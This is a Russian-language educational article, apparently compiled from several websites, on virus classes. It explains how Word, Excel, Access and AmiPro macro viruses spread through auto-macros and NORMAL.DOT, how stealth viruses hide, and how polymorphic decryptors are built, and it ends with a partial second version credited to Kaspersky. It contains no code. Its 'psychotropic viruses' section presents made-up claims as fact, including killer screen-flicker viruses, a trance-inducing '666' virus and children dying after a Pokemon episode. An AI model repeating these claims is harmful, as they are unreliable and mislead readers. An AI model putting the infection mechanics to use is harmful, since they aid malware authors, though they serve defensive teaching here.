Макровирусы (macro viruses). Макровирусы Макровирусы заражают файлы с расширением

Макро-вирусы (macro viruses) являются программами на языках (макроязыках), встроенных в некоторые системы обработки данных (текстовые редакторы, электронные таблицы и т.д.), а также на скрипт-языках, таких как VBA (Visual Basic for Applications), JS (Java Script). Для своего размножения такие вирусы используют возможности макроязыков и при их помощи переносят себя из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макро-вирусы для Microsoft Office. Существуют также макро-вирусы, заражающие документы Ami Pro и базы данных. Для существования вирусов в конкретной системе (редакторе) необходимо наличие встроенного в систему макроязыка с возможностями:

1. привязки программы на макроязыке к конкретному файлу;
2. копирования макропрограмм из одного файла в другой;
3. возможность получения управления макропрограммой без вмешательства пользователя (автоматические или стандартные макросы).

Данным условиям удовлетворяют редакторы Microsoft Word, Office и AmiPro, а также электронная таблица Excel и база данных Microsoft Access. Эти системы содержат в себе макроязыки: Word - Word Basic; Excel, Access - VBA. При этом:

1. макропрограммы привязаны к конкретному файлу (AmiPro) или находятся внутри файла (Word, Excel, Access);
2. макроязык позволяет копировать файлы (AmiPro) или перемещать макропрограммы в служебные файлы системы и редактируемые файлы (Word, Excel);
3. при работе с файлом при определенных условиях (открытие, закрытие и т.д.) вызываются макропрограммы (если таковые есть), которые определены специальным образом (AmiPro) или имеют стандартные имена (Word, Excel).

Данная особенность макроязыков предназначена для автоматической обработки данных в больших организациях или в глобальных сетях и позволяет организовать так называемый "автоматизированный документооборот". С другой стороны, возможности макроязыков таких систем позволяют вирусу переносить свой код в другие файлы, и таким образом заражать их. Вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с MS-DOS можно сказать, что большинство макро-вирусов являются резидентными: они активны не только в момент открытия/закрытия файла, но до тех пор, пока активен сам редактор.

Word/Excel/Office-вирусы: общие сведения

Физическое расположение вируса внутри файла зависит от его формата, который в случае продуктов Microsoft чрезвычайно сложен - каждый файл-документ Word, таблица Excel представляют собой последовательность блоков данных (каждый из которых также имеет свой формат), объединенных между собой при помощи большого количества служебных данных. Этот формат носит название OLE2 - Object Linking and Embedding.

Структура файлов Word, Excel и Office (OLE2) напоминает усложненную файловую систему дисков: "корневой каталог" файла-документа или таблицы указывает на основные подкаталоги различных блоков данных, несколько таблиц FAT содержат информацию о расположении блоков данных в документе и т.д. Более того, система Office Binder, поддерживающая стандарты Word и Excel позволяет создавать файлы, одновременно содержащие один или несколько документов в формате Word и одну или несколько таблиц в формате Excel. При этом Word-вирусы способны поражать Word-документы, а Excel-вирусы - Excel-таблицы, и все это возможно в пределах одного дискового файла. То же справедливо и для Office. Большинство известных вирусов для Word несовместимы с национальными (в том числе с русской) версиями Word, или наоборот - рассчитаны только на локализованные версии Word и не работают под английской версией. Однако вирус в документе все равно остается активным и может заражать другие компьютеры с установленной на них соответствующей версией Word. Вирусы для Word могут заражать компьютеры любого класса. Заражение возможно в том случае, если на данном компьютере установлен текстовый редактор, полностью совместимый с Microsoft Word версии 6 или 7 или выше (например, MS Word for Macintosh).

То же справедливо для Excel и Office. Следует также отметить, что сложность форматов документов Word, таблиц Excel и особенно Office имеет следующую особенность: в файлах-документах и таблицах присутствуют "лишние" блоки данных, т.е. данные, которые никак не связаны с редактируемым текстом или таблицами, либо являются случайно оказавшимися там копиями прочих данных файла. Причиной возникновения таких блоков данных является кластерная организация данных в OLE2-документах и таблицах - даже если введен всего один символ текста, то под него выделяется один или даже несколько кластеров данных. При сохранении документов и таблиц в кластерах, не заполненных "полезными" данными, остается "мусор", который попадает в файл вместе с прочими данными. Количество "мусора" в файлах может быть уменьшено отменой пункта настройки Word/Excel "Allow Fast Save", однако это лишь уменьшает общее количество "мусора", но не убирает его полностью. Следствием этого является тот факт, что при редактировании документа его размер изменяется вне зависимости от производимых с ним действий - при добавлении нового текста размер файла может уменьшиться, а при удалении части текста - увеличиться.

То же и с макро-вирусами: при заражении файла его размер может уменьшиться, увеличиться или остаться неизменным. Следует также отметить тот факт, что некоторые версии OLE2.DLL содержат небольшой недочет, в результате которого при работе с документами Word, Excel и особенно Office в блоки "мусора" могут попасть случайные данные с диска, включая конфиденциальные (удаленные файлы, каталоги и т.д.). В эти блоки могут попасть также команды вируса. В результате после лечения зараженных документов активный код вируса удаляется из файла, но в блоках "мусора" могут остаться часть его команд. Такие следы присутствия вируса иногда видимы при помощи текстовых редакторов и даже могут вызвать реакцию некоторых антивирусных программ. Однако эти остатки вируса совершенно безвредны: Word и Excel не обращают на них никакого внимания.

Word/Excel/Office-вирусы: принципы работы

При работе с документом Word версий 6 и 7 или выше выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т.д. При этом Word ищет и выполняет соответствующие "встроенные макросы" - при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs - FileSaveAs, при печати документов - FilePrint и т.д., если, конечно, таковые макросы определены. Существует также несколько "авто-макросов", автоматически вызываемые при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew.

Похожие механизмы (но с другими именами макросов и функций) используются и в Excel/Office, в которых роль авто- и встроенных макросов выполняют авто- и встроенные функции, присутствующие в каком-либо макросе или макросах, причем в одном макросе могут присутствовать несколько встроенных и авто-функций. Автоматически (т.е. без участия пользователя) выполняются также макросы/функции, ассоциированные с какой-либо клавишей либо моментом времени или датой, т.е. Word/Excel вызывают макрос/функцию при нажатии на какую-либо конкретную клавишу (или комбинацию клавиш) либо при достижении какого-либо момента времени. В Office возможности по перехвату событий несколько расширены, но принцип используется тот же.

Макро-вирусы, поражающие файлы Word, Excel или Office как правило пользуются одним из трех перечисленных выше приемов - в вирусе либо присутствует авто-макрос (авто-функция), либо переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню), либо макрос вируса вызывается автоматически при нажатии на какую-либо клавишу или комбинацию клавиш. Существуют также полу-вирусы, которые не используют всех этих приемов и размножаются, только когда пользователь самостоятельно запускает их на выполнение. Таким образом, если документ заражен, при открытии документа Word вызывает зараженный автоматический макрос AutoOpen (или AutoClose при закрытии документа) и, таким образом, запускает код вируса, если это не запрещено системной переменной DisableAutoMacros. Если вирус содержит макросы со стандартными именами, они получают управление при вызове соответствующего пункта меню (File/Open, File/Close, File/SaveAs). Если же переопределен какой-либо символ клавиатуры, то вирус активизируется только после нажатия на соответствующую клавишу.

Большинство макро-вирусов содержат все свои функции в виде стандартных макросов Word/Excel/Office. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не макросов. Известно три подобных приема, все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда - полиморфный) макрос-загрузчик вируса, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает (чтобы скрыть следы присутствия вируса). Основной код таких вирусов присутствует либо в самом макросе вируса в виде текстовых строк (иногда - зашифрованных), либо хранится в области переменных документа или в области Auto-text.

Алгоритм работы Word макро-вирусов

Большинство известных Word-вирусов при запуске переносят свой код (макросы) в область глобальных макросов документа ("общие" макросы), для этого они используют команды копирования макросов MacroCopy, Organizer.Copy либо при помощи редактора макросов - вирус вызывает его, создает новый макрос, вставляет в него свой код, который и сохраняет в документе. При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, при следующем запуске редактора MS-Word вирус активизируется в тот момент, когда WinWord грузит глобальные макросы, т.е. сразу. Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает, таким образом, команды работы с файлами. При вызове этих команд вирус заражает файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможной дальнейшие изменения формата файла, т.е. конвертирование в какой-либо не Template формат) и записывает в файл свои макросы, включая Auto-макрос. Таким образом, если вирус перехватывает макрос FileSaveAs, то заражается каждый DOC-файл, сохраняемый через перехваченный вирусом макрос. Если перехвачен макрос FileOpen, то вирус записывается в файл при его считывании с диска.

Второй способ внедрения вируса в систему используется значительно реже - он базируется на так называемых "Add-in" файлах, т.е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как "Add-in". Этот способ практически полностью повторяет заражение глобальных макросов за тем исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле. Возможно также внедрения вируса в файлы, расположенные в каталоге STARTUP, - Word автоматически подгружает файлы-темплейты из этого каталога, но такие вирусы пока не встречались. Рассмотренные выше способы внедрения в систему представляют собой некоторый аналог резидентных DOS-вирусов. Аналогом нерезидентности являются макро-вирусы, которые не переносят свой код в область системных макросов - для заражения других файлов-документов они либо ищут их при помощи встроенных в Word функций работы с файлами, либо обращаются к списку последних редактированных файлов (Recently used file list). Затем такие вирусы открывают документ, заражают его и закрывают.

Алгоритм работы Excel макро-вирусов

Методы размножения Excel-вирусов в целом аналогичны методам Word-вирусов. Различия заключаются в командах копирования макросов (например, Sheets.Copy) и в отсутствии NORMAL.DOT - его функцию (в вирусном смысле) выполняют файлы в STARTUP-каталоге Excel. Следует отметить, что существует два возможных варианта расположения кода макро-вирусов в таблицах Excel. Подавляющее большинство таких вирусов записывают свой код в формате VBA (Visual Basic for Applications), однако существуют вирусы, хранящие свой код в старом формате Excel версии 4.0. Такие вирусы по своей сути ничем не отличаются от VBA-вирусов, за исключением отличий в формате расположения кодов вируса в таблицах Excel. Несмотря на то, что в новых версиях Excel (начиная с версии 5) используются более совершенные технологии, возможность исполнения макросов старых версий Excel была оставлена для поддержания совместимости. По этой причине все макросы, написанные в формате Excel 4, вполне работоспособны во всех последующих версиях, несмотря на то, что Microsoft не рекомендует использовать их и не включает необходимую документацию в комплект поставки Excel.

Алгоритм работы вирусов для Access

Поскольку Access является частью пакета Office Pro, то вирусы для Access представляют собой такие же макросы на языке Visual Basic, как и прочие вирусы, заражающие приложения Office. Однако в данном случае вместо авто-макросов в системе присутствуют автоматические скрипты, которые вызываются системой при различных событиях (например, Autoexec). Данные скрипты затем могут вызывать различные макропрограммы. Таким образом, при заражении баз данных Access вирусу необходимо заменить какой-либо авто-скрипт и скопировать в заражаемую базу свои макросы. Заражение скриптов без дополнительных макросов не представляется возможным, поскольку язык скриптов достаточно примитивен и не содержит необходимых для этого функций.

Следует отметить, что в терминах Access скрипты называются макросами (macro), а макросы - модулями (module), однако в дальнейшем будет использоваться унифицированная терминология - скрипты и макросы. Лечение баз данных Access является более сложной задачей, чем удаление прочих макро-вирусов, поскольку в случае Access необходимо обезвредить не только вирусные макросы, но и авто-скрипты. А так так значительная часть работы Access возложена как раз на скрипты и макросы, то некорректное удаление или деактивация какого-либо элемента может привести к невозможности операций с базой данных. То же справедливо и для вирусов - некорректное замещение авто-скриптов может привести к потере данных, хранящихся в базе.

AmiPro-вирусы

При работе с каким-либо документом редактор AmiPro создает два файла - непосредственно текст документа (с расширением имени SAM) и дополнительный файл, содержащий макросы документа и, возможно, прочую информацию (расширение имени - SMM). Формат обоих файлов достаточно прост - они представляют собой обычный текстовый файл, в котором как редактируемый текст, так и команды управления присутствуют в виде обычных текстовых строк. Документу можно поставить в соответствие какой-либо макрос из SMM-файла (команда AssignMacroToFile). Этот макрос является аналогом AutoOpen и AutoClose в MS Word и вызывается редактором AmiPro при открытии или закрытии файла. Видимо, в AmiPro отсутствует возможность помещать макросы в "общую" область, поэтому вирусы для AmiPro могут заразить систему только при открытии зараженного файла, но не при загрузке системы, как это происходит с MS-Word после заражения файла NORMAL.DOT. Как и MS Word, AmiPro позволяет переопределять системные макросы (например, SaveAs, Save) командой ChangeMenuAction. При вызове переопределенных функций (команд меню) управление получают зараженные макросы, т.е. код вируса.

Стелс вирусы

Представители этого класса используют различные средства для маскировки своего присутствия в системе. Обычно это достигается путём перехвата ряда системных функций, ответственных за работу с файлами. "Стелс"- технологии делают невозможным обнаружение вируса без специального инструментария. Вирус маскирует и приращение длины поражённого объекта (файла), и своё тело в нём, "подставляя" вместо себя "здоровую" часть файла.

В ходе проверки компьютера антивирусные программы считывают данные - файлы и системные области - с жестких дисков и дискет, пользуясь средствами операционной системы и BIOS. Стелс - вирусы, или вирусы-невидимки, после запуска оставляют в оперативной памяти компьютера специальные модули, перехватывающие обращение программ к дисковой подсистеме компьютера. Если такой модуль обнаруживает, что программа пользователя пытается прочитать зараженный файл или системную область диска, он на ходу подменяет читаемые данные и таким образом остается незамеченным, обманывая антивирусные программы.

Также стелс - вирусы могут прятаться в виде потоков в системных и других процессах, что также значительно затрудняет их выявление. Такие стелс вирусы невозможно даже увидеть в списке всех запущенных, в данный момент, в системе процессов.

Есть простой способ отключить механизм маскировки Стелс - вирусов. Достаточно загрузить компьютер с незараженной системной дискеты и проверить компьютер антивирусной программой, не запуская программ с диска компьютера (они могут оказаться зараженными). В этом случае вирус не сможет получить управление и установить в оперативной памяти резидентный модуль, реализующий стелс - алгоритм, антивирус прочитает информацию, действительно записанную на диске, и легко обнаружит "бациллу".

Большинство антивирусных программ противодействует попыткам стелс - вирусов остаться незамеченными, но, чтобы не оставить им ни единого шанса, перед проверкой компьютера антивирусной программой компьютер следует загружать с дискеты, на которую следует записать и антивирусные программы. Многие антивирусы настолько успешно противостоят стелс - вирусам, что обнаруживают их при попытке замаскироваться. Такие программы считывают проверяемые файлы программ с диска, пользуясь для этого несколькими различными методами - например, с помощью операционной системы и через BIOS: если обнаруживаются несовпадения, то делается вывод, что в оперативной памяти, вероятно, находится стелс - вирус.

Полиморфные вирусы

К полиморфным вирусам относятся те из них, детектирование которых невозможно (или крайне затруднительно) осуществить при помощи так называемых вирусных сигнатур - участков постоянного кода, специфичных для конкретного вируса. Достигается это двумя основными способами - шифрованием основного кода вируса с непостоянным ключом и случайным набором команд расшифровщика или изменением самого выполняемого кода вируса. Существуют также другие, достаточно экзотические примеры полиморфизма - DOS-вирус "Bomber", например, незашифрован, однако последовательность команд, которая передает управление коду вируса, является полностью полиморфной.

Полиморфизм различной степени сложности встречается в вирусах всех типов - от загрузочных и файловых DOS-вирусов до Windows-вирусов и даже макро-вирусов.

Большинство вопросов связано с термином "полиморфный вирус". Этот вид компьютерных вирусов представляется на сегодняшний день наиболее опасным.

Полиморфные вирусы - вирусы, модифицирующие свой код в зараженных программах таким образом, что два экземпляра одного и того же вируса могут не совпадать ни в одном бите.

Такие вирусы не только шифруют свой код, используя различные пути шифрования, но и содержат код генерации шифровщика и расшифровщика, что отличает их от обычных шифровальных вирусов, которые также могут шифровать участки своего кода, но имеют при этом постоянный код шифровальщика и расшифровщика.

Полиморфные вирусы - это вирусы с самомодифицирующимися расшифровщиками. Цель такого шифрования: имея зараженный и оригинальный файлы вы все равно не сможете проанализировать его код с помощью обычного дизассемблирования. Этот код зашифрован и представляет собой бессмысленный набор команд. Расшифровка производится самим вирусом уже непосредственно во время выполнения. При этом возможны варианты: он может расшифровать себя всего сразу, а может выполнить такую расшифровку "по ходу дела", может вновь шифровать уже отработавшие участки. Все это делается ради затруднения анализа кода вируса.

Полиморфные расшифровщики

Полиморфные вирусы используют сложные алгоритмы для генерации кода своих расшифровщиков: инструкции (или их эквиваленты) переставляются местами от заражения к заражению, разбавляются ничего не меняющими командами типа NOP, STI, CLI, STC, CLC, DEC неиспользуемый регистр, XCHG неиспользуемые регистры и т.д.

Полноценные же полиморфные вирусы используют еще более сложные алгоритмы, в результате работы которых в расшифровщике вируса могут встретиться операции SUB, ADD, XOR, ROR, ROL и другие в произвольном количестве и порядке. Загрузка и изменение ключей и других параметров шифровки производится также произвольным набором операций, в котором могут встретиться практически все инструкции процессора Intel (ADD, SUB, TEST, XOR, OR, SHR, SHL, ROR, MOV, XCHG, JNZ, PUSH, POP ...) со всеми возможными режимами адресации. Появляются также полиморфик-вирусы, расшифровщик которых использует инструкции вплоть до Intel386, а летом 1997 года обнаружен 32-битный полиморфик-вирус, заражающий EXE-файлы Windows95. Сейчас уже есть полиморфные вирусы, которые также могут использовать различные команды современных процессоров.

В результате в начале файла, зараженного подобным вирусом, идет набор бессмысленных на первый взгляд инструкций, причем некоторые комбинации, которые вполне работоспособны, не берутся фирменными дизассемблерами (например, сочетание CS:CS: или CS:NOP). И среди этой "каши" из команд и данных изредка проскальзывают MOV, XOR, LOOP, JMP - инструкции, которые действительно являются "рабочими".

Уровни полиморфизма

Существует деление полиморфных вирусов на уровни в зависимости от сложности кода, который встречается в расшифровщиках этих вирусов. Такое деление впервые предложил д-р. Алан Соломон, через некоторое время Весселин Бончев расширил его.

Уровень 1: вирусы, которые имеют некоторый набор расшифровщиков с постоянным кодом и при заражении выбирают один из них. Такие вирусы являются "полу - полиморфными" и носят также название "олигоморфные" (oligomorphic). Примеры: "Cheeba", "Slovakia", "Whale".
Уровень 2: расшифровщик вируса содержит одну или несколько постоянных инструкций, основная же его часть непостоянна.
Уровень 3: расшифровщик содержит неиспользуемые инструкции - "мусор" типа NOP, CLI, STI и т.д.
Уровень 4: в расшифровщике используются взаимозаменяемые инструкции и изменение порядка следование (перемешивание) инструкций. Алгоритм расшифрования при этом не изменяется.
Уровень 5: используются все перечисленные выше приемы, алгоритм расшифрования непостоянен, возможно повторное шифрование кода вируса и даже частичное шифрование самого кода расшифровщика.
Уровень 6: permutating-вирусы. Изменению подлежит основной код вируса - он делится на блоки, которые при заражении переставляются в произвольном порядке. Вирус при этом остается работоспособным. Подобные вирусы могут быть незашифрованны.

Приведенное выше деление не свободно от недостатков, поскольку производится по единственному критерию - возможность детектировать вирус по коду расшифровщика при помощи стандартного приема вирусных масок:

Уровень 1: для детектирования вируса достаточно иметь несколько масок

Уровень 2: детектирование по маске с использованием "wildcards"

Уровень 3: детектирование по маске после удаления инструкций-"мусора"

Уровень 4: маска содержит несколько вариантов возможного кода, т.е. становится алгоритмической
Уровень 5: невозможность детектирования вируса по маске

Недостаточность такого деления продемонстрирована в вирусе 3-го уровня полиморфичности, который так и называется - "Level3". Этот вирус, являясь одним из наиболее сложных полиморфик-вирусов, по приведенному выше делению попадает в Уровень 3, поскольку имеет постоянный алгоритм расшафровки, перед которым стоит большое количество команд-"мусора". Однако в этом вирусе алгоритм генерирования "мусора" доведен до совершенства: в коде расшифровщика могут встретиться практически все инструкции процессора i8086.

Если произвести деление на уровни с точки зрения антивирусов, использующих системы автоматической расшифровки кода вируса (эмуляторы), то деление на уровни будет зависеть от сложности эмуляции кода вируса. Возможно детектирование вируса и другими приемами, например, расшифровка при помощи элементарных математических законов и т.д.

Поэтому мне кажется более объективным деление, в котором помимо критерия вирусных масок участвуют и другие параметры:

Степень сложности полиморфик-кода (процент от всех инструкций процессора, которые могут встретиться в коде расшифровщика)
Использование анти-эмуляторных приемов
Постоянство алгоритма расшифровщика
Постоянство длины расшифровщика

Изменение выполняемого кода

Наиболее часто подобный способ полиморфизма используется макро-вирусами, которые при создании своих новых копий случайным образом меняют имена своих переменных, вставляют пустые строки или меняют свой код каким-либо иным способом. Таким образом, алгоритм работы вируса остается без изменений, но код вируса практически полностью меняется от заражения к заражению.

Реже этот способ применяется сложными загрузочными вирусами. Такие вирусы внедряют в загрузочные сектора лишь достаточно короткую процедуру, которая считывает с диска основной код вируса и передает на него управление. Код этой процедуры выбирается из нескольких различных вариантов (которые также могут быть разбавлены "пустыми" командами), команды переставляются между собой и т.д.

Еще реже этот прием встречается у файловых вирусов - ведь им приходится полностью менять свой код, а для этого требуются достаточно сложные алгоритмы. На сегодняшний день известны всего два таких вируса, один из которых ("Ply") случайным образом перемещает свои команды по своему телу и заменяет их на команды JMP или CALL. Другой вирус ("TMC") использует более сложный способ - каждый раз при заражении вирус меняет местами блоки своего кода и данных, вставляет "мусор", в своих ассемблерных инструкциях устанавливает новые значения офсетов на данные, меняет константы и т.д. В результате, хотя вирус и не шифрует свой код, он является полиморфным вирусом - в коде не присутствует постоянного набора команд. Более того, при создании своих новых копий вирус меняет свою длину.

Вирусы по виду деструктивных действий

По виду деструктивных действий вирусы можно разделить на три группы:

Информационные вирусы (вирусы первого поколения)

Так называемые вирусы первого поколения - это все ныне существующие вирусы, действия которых направлены на уничтожение, модификацию или хищение информации.

Аппаратные вирусы (вирусы второго поколения)

Данный вид вирусов способен вывести из строя аппаратную часть компьютера. Например, стереть BIOS или испортить его, нарушить логическую структуру жесткого фиска таким образом, что восстановить её будет возможным только низкоуровневым форматированием (и то не всегда). Единственным представителем данного вида является самый опасный из всех, когда-либо существовавших, вирус Win95.CIH "Чернобль". В свое время этот вирус вывел из строя миллионы компьютеров. Он стирал программу из BIOS, тем самым, выводя из строя компьютер, а та же уничтожал всю информацию с жесткого диска так, что восстановить её было практически невозможно.

В настоящее время "диких" аппаратных вирусов не обнаружено. Но уже сейчас специалисты прогнозируют появление новых подобного рода вирусов, которые смогут поражать BIOS. Защитой от таких вирусов планируется сделать на каждой материнской плате специальные джамперы, которые будут блокировать запись в BIOS.

Психотропные вирусы (вирусы третьего поколения)

Эти вирусы способны убить человека, воздействуя на него через монитор или колонки компьютера. Воспроизводя определенные звуки, заданной частоты или определенное мерцание различных цветов на экране, психотропные вирусы способны вызвать эпилептический приступ (у людей склонных к этому), либо остановку сердца, кровоизлияние в мозг.

К счастью на сегодняшний день о реальном существовании таких вирусов не известно. Многие специалисты ставят под сомнение вообще существование подобного вида вирусов. Но одно сказать можно точно. Давно уже изобретены психотропные технологии по воздействию на человека через звук или изображение (не путать с 25 кадром). Эпилептический приступ вызвать у человека склонного к этому очень просто. Несколько лет назад в некоторых СМИ разгорелась шумиха по поводу появления нового вируса под названием "666". Этот вирус после каждых 24 кадров выдает на экран специальную цветовую комбинацию, способную изменить жизнедеятельность зрителя. В результате человека охватывает гипнотический транс, мозг теряет контроль над работой организма, что может привести к болезненному состоянию, смене режима работы сердца, артериального давления и т.п. Но цветовые комбинации сегодня не являются запрещенными законодательством. Поэтому они могут появляться на экранах вполне легально, хотя результаты их воздействия могут быть катастрофическими для всех нас.

Примером подобного воздействия может служить мультфильм "Покемоны", после показа одной из серий в Японии, сотни детей попали в больницы с жуткой головной болью, кровоизлиянием в мозг. Некоторые из них скончались. В мультфильме были кадры с яркой генерацией определенной палитры цветов, как правило, это красные вспышки на черном фоне в определенной последовательности. После этого инцидента данный мультфильм к показу в Японии был ЗАПРЕЩЕН.

Можно привести еще один пример. Все наверняка помнят, что творилось в Москве после трансляции матча нашей сборной по футболу со сборной Японии (если не ошибаюсь). А ведь на большом экране был все лишь продемонстрирован ролик, как человек с битой крошил машину. Это также является психотропным воздействием, видя ролик "люди" начали уничтожать на своем пути все и вся.

Материалы и данные были взяты с ресурсов:
http://www.stopinfection.narod.ru
http://hackers100.narod.ru
http://broxer.narod.ru
http://www.viruslist.com
http://logic-bratsk.ru
http://www.offt.ru
http://www.almanet.info

  • Для комментирования войдите или зарегистрируйтесь
Евгений Касперский

Макровирусы (macro viruses) являются программами написанными на языках (макроязыках), встроенных в некоторые системы обработки данных (текстовые редакторы, электронные таблицы и т. д.). Для своего размножения такие вирусы используют возможности макроязыков и при их помощи переносятся из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макровирусы для Microsoft Word, Excel и Office 97.

Для существования вирусов в конкретной системе (редакторе) необходимо наличие встроенного в систему макроязыка с возможностями:

  1. привязки программы на макроязыке к конкретному файлу;
  2. копирования макропрограмм из одного файла в другой;
  3. получения управления макропрограммой без вмешательства пользователя (автоматические или стандартные макросы).

Описанным условиям удовлетворяют редакторы MS Word, MS Office 97 и AmiPro, а также электронная таблица MS Excel. Эти системы содержат в себе макроязыки (MS Word - Word Basic, MS Excel и MS Office 97 - Visual Basic), при этом:

  1. макропрограммы привязаны к конкретному файлу (AmiPro) или находятся внутри файла (MS Word/Excel/Office 97);
  2. макроязык позволяет копировать файлы (AmiPro) или перемещать макропрограммы в служебные файлы системы и редактируемые файлы (MSWord /Excel/Office 97);
  3. при работе с файлом при определенных условиях (открытие, закрытие и т. д.) вызываются макропрограммы (если таковые есть), которые определены специальным образом (AmiPro) или имеют стандартные имена (MS Word/Excel/ Office 97).

Последняя особенность предназначена для автоматической обработки данных в больших организациях или в глобальных сетях и позволяет организовать так называемый «автоматизированный документооборот». С другой стороны, возможности макроязыков таких систем позволяют вирусу переносить свой код в другие файлы и таким образом заражать их.

В четырех указанных выше программных продуктах вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с DOS можно сказать, что большинство макровирусов являются резидентными вирусами: они активны не только в момент открытия или закрытия файла, но до тех пор, пока активен сам редактор.


общие сведения

Физическое расположение вируса внутри файла зависит от его формата, который в случае продуктов Microsoft чрезвычайно сложен: каждый файл-документ Word, Office 97 или таблица Excel представляют собой последовательность блоков данных (каждый из которых также имеет свой формат), объединенных между собой при помощи большого количества служебных данных. Этот формат носит название OLE2 (Object Linking and Embedding). Структура файлов Word, Excel и Office 97 (OLE2) напоминает усложненную файловую систему дисков DOS: «корневой каталог» файла-документа или таблицы указывает на основные подкаталоги различных блоков данных, несколько «таблиц FAT» содержат информацию о расположении блоков данных в документе и т. д.

Более того, система Office Binder, поддерживающая стандарты Word и Excel, позволяет создавать файлы, одновременно содержащие один или несколько документов в формате Word и одну или несколько таблиц в формате Excel, причем Word-вирусы способны при этом поражать Word-документы, а Excel-вирусы - Excel-таблицы, и все это возможно в пределах одного дискового файла. То же справедливо и для Office 97.

Следует отметить, что MS Word версий 6 и 7 позволяет шифровать присутствующие в документе макросы. Таким образом, некоторые Word-вирусы присутствуют в зараженных документах в зашифрованном (Execute only) виде.

Большинство известных вирусов для Word несовместимы с национальными (в том числе с русской) версиями Word или, наоборот, рассчитаны только на локализованные версии Word и не работают под английской версией. Однако вирус в документе все равно остается активным и может заражать другие компьютеры с установленной на них соответствующей версией Word.

Вирусы для Word могут заражать компьютеры любого класса, а не только IBM PC. Заражение возможно в том случае, если на данном компьютере установлен текстовый редактор, полностью совместимый с Microsoft Word версии 6 или 7 (например, MS Word for Macintosh). То же справедливо и для MS Excel и MS Office 97.

Интересно, что форматы документов Word, таблиц Excel и особенно Office 97 имеют следующую особенность: в файлах-документах и таблицах присутствуют «лишние» блоки данных, т. е. данные, никак не связанные с редактируемым текстом или таблицами, либо случайно оказавшиеся там копии прочих данных файла. Причиной возникновения таких блоков данных является кластерная организация данных в OLE2-документах и таблицах. Даже если введен всего один символ текста, то под него выделяется один или даже несколько кластеров данных. При сохранении документов и таблиц в кластерах, не заполненных «полезными» данными, остается «мусор», который попадает в файл вместе с прочими данными. Количество «мусора» в файлах может быть уменьшено отменой пункта настройки Word/Excel «Allow Fast Save», однако это лишь уменьшает общее количество «мусора», но не убирает его полностью.

ледует также отметить тот факт, что некоторые версии OLE2.DLL содержат небольшой недочет, в результате которого при работе с документами Word, Excel и особенно Office 97 в блоки «мусора» могут попасть случайные данные с диска, включая конфиденциальные (удаленные файлы, каталоги и т. д.).

MS Word/Excel/Office 97-вирусы:
принципы работы

При работе с документом MS Word версий 6 и 7 выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т. д. При этом Word ищет и выполняет соответствующие встроенные макросы: при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs - FileSaveAs, при печати документов - FilePrint и т. д., если, конечно, таковые макросы определены.

Существуют также несколько «автомакросов», автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Похожие механизмы, но с другими именами макросов и функций, используются и в Excel/Office 97.

Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех вышеперечисленных приемов:

  1. в вирусе присутствует автомакрос (автофункция);
  2. в вирусе переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню);
  3. макрос вируса автоматически вызывается при нажатии на какую-либо клавишу или комбинацию клавиш.

Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.

Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса. Основной код таких вирусов присутствует либо в теле самого вируса в виде текстовых строк, либо хранится в области переменных документа или в области Auto-text.

Алгоритм работы
макровирусов для Word

Большинство известных Word-вирусов (версий 6, 7 и Word 97) при запуске переносят собственный код в область глобальных макросов документа («общие» макросы).

При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, вирус активизируется в тот момент, когда Word грузит глобальные макросы.

Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает таким образом команды работы с файлами. При вызове этих команд заражается файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможными дальнейшие изменения формата файла, т. е. конвертирование в какой-либо не-Template формат) и записывает в файл свои макросы, включая Auto-макрос.

